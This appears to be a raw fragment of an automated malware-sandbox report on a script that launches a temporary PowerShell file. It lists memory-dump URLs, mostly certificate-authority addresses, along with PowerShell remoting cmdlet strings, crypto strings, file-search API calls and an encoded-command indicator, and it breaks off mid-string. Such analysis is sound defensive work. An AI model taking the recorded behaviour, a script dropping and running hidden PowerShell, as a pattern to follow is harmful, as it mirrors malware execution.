"crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.microsoft.com0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "299.15.cat" Heuristic match: "icrosoft.powershell.co" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "www.microsoft.com/pkio" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-" Pattern match: "www.micr" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.validationtest.contoso.com/test%d.html"40:T2546,Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;grea" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0publishep.crt0washington1redmond1microsoft" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys2.23.42.7.02.5.29.160" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn7www.entrust.net/cps_2048" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00008068.00000000.110665.00E10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008068.00000000.110665.00E10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008068.00000000.110665.00E10000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsicro" - Source: "00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lkrrpkrrpcprzvpdgqrpgqr\gqrquuuquuuecs1ecs2" - Source: "00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkioicwinpropca2011_2011-10-19.crl0au0s0q://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.micrm/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008068.00000000.110665.0742F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008068.00000000.110665.0742F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008068.00000000.110665.0742F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00008068.00000000.110665.70851000.00000020.mdmp")41:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp")42:T9a0,"WScript.exe" called "FindFirstFileW" with parameter %TEMP%\58265.ps1 (UID: 00000000-00001852) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008068) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00008068) "powershell.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00008068)43:Tb5f,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00008068.00000000.110665.00B30000.00000004.mdmp, 00000000-00008068.00000000.110665.00BBF000.00000004.mdmp, 00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00008068.00000000.110665.00BBF000.00000004.mdmp, 00000000-00008068.00000000.110665.073D2000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.00FC1000.00000020.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "[-WindowStyle